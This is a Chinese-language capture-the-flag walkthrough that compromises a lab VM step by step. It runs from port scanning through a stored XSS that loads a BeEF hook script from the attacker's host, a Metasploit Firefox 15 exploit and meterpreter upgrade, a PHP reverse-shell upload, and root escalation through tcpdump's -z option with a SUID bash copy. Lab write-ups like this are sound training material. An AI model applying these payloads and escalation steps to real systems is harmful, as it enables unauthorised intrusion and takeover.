根据描述,该靶机设置了静态ip 192.168.110.151
编辑虚拟网络设置,添加192.168.110网段
保证kali可以扫描到目标ip
全端口扫描
nmap -sT --min-rate 10000 -p- 192.168.110.151 -oN port.nmap
开放端口三个,分别是111,40653,65535三个端口 没有80端口
对端口进行进一步探测
显示65535端口是openssh 剩下的两个端口是rpc服务
进行ssh连接 ssh root@192.168.110.151 -p65535
根据提示信息,得到一个用户为 Peter 密码是 in the source或是inthesource
尝试ssh连接Peter
当输入密码为in the source提示密码错误,输入inthesource 提示连接已关闭
因此inthesource可能是正确密码
这时候发现访问80端口可以访问到
BEEF提示或许可以使用 beef-xss 这个xss工具
再次对端口进行探测,发现开放了80端口
猜测可能是经过SSH登录之后,后台加载的其他程序使得80端口开启
使用dirsearch对其目录扫描 发现两个目录 /blog /images
访问/blog目录
访问/images被拒绝
回到刚才的页面 通过验证注册框存在xss
这里需要用到之前提到的工具 beef-xss getshell
在kali上安装该工具 apt install beef-xss
安装完成后 输入beef-xss启动 需要自己设置密码
默认用户名 beef 完成登录
根据提示信息 我们注册框输入的xss语句如下
将127.0.0.1改成kali的ip地址
Username: <script src="http://192.168.110.128:3000/hook.js"></script>
Password: 111
E-Mail: 111
提交成功之后访问http://192.168.110.151/blog/members.html 即可触发漏洞
访问:http://192.168.110.128:3000/ui/panel,可以看到Kali和靶机都已上线
可以看到该网站的火狐版本很低 Firefox/15.0 可以利用利用版本漏洞
选择利用msf getshell
msfconsole
search firefox 15
use 12
查看选项完成配置 options
set uripath 123456(beef-xss设置密码)
set lhost 192.168.110.128
run
给出一个url
将给出中的url在浏览器中设置重定向访问
可以在msf中看到会话已经建立 ,速度较慢,需等待一些时间
因为通过 firefox_proto_crmfrequest 得到的shell不稳定,因此我们需要shell持久化
search post shell to meterpreter
use post/multi/manage/shell_to_meterpreter
options
set lhost 192.168.110.128
这时要再次点击 Execute按钮
根据新建立的 session Id 来设置 shell_to_meterpreter 的 options 中 session值
一旦建立session 立刻输入run 执行命令
输入sessions检查是否成功 直到看到meterpreter的session建立
获取shell
sessions -i 6
shell
whoami
cat /etc/passwd 发现了两个用户 milton blumbergh
sudo -l 将两个用户更新至user.list
因为之前Peter用户无法ssh连接,查看相关配置
ls .ssh -al
ls /etc | grep ssh
ls /etc/ssh -al
sshd_config是客户端的ssh配置文件,在文件末尾发现,ssh连接过程会强制执行名为startme的程序,推测其与ssh无法成功连接有关
查看startme内容,其内容是启动了apache服务
覆盖 .bashrc 文件后,可以在ssh连接后可以保持shell
echo 'exec /bin/bash' > .bashrc
查看网站目录 看到html2目录
在其目录中存在 oscommerec
html2可能是一个新的web站点
查看靶机的网络信息
netstat -anlpt
发现一个2323端口
尝试使用telnet连接 显示了连接过程中的全部信息
telnet 127.0.0.1 2323
用google查询 发现这个地点位于Houston,作为密码输入
用户名的话也就是之前/etc/passwd文件中的用户名
经尝试用户名为 milton
我们需要回答一个问题:这个订书机是谁的
我们需要在目录下寻找关键词stapler
cd /usr
grep -rno stapler
发现一个 cd.py 文件 查看其内容
答案是mine
再次使用telnet连接2323端口
登录成功 实现milton用户提权
查看/home/milton目录下的文件 发现 .profile 文件
sudo权限执行了nginx ,查看网络连接信息,出现了8888端口
尝试访问,点击oscommerce
对其目录扫描 发现了一个登录页面
在配置文件中发现,mysql数据库的root用户并没有设置密码,所以我们可以直接登录数据库后台
查看数据库 数据表信息
猜测osc_administrators 表中可能存放管理员信息
查看表中信息 得到管理员密码的哈希值
解密
使用 admin:32admin 登录失败
使用 admin:admin 登录成功
上传文件
在 include目录下面找到了一个可写的目录
上传反弹shell 1.php文件
上传成功后访问
http://192.168.110.151:8888/oscommerce/includes/work/1.php
kali开启监听
sudo -l
使用tcpdump提权
辅助网站查看命令
cd /tmp
echo '#!/bin/bash' >> 1.sh
echo 'cp /bin/bash /tmp/shell' >> 1.sh
echo 'chmod +s /tmp/shell' >> 1.sh
chmod +x 1.sh
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/1.sh -Z root
cpdump 相关命令中包含lo参数,因此需要在 milton 用户终端中构造本地流量
telnet 127.0.0.1 2323
在 blumbergh 用户终端中提权
./shell -p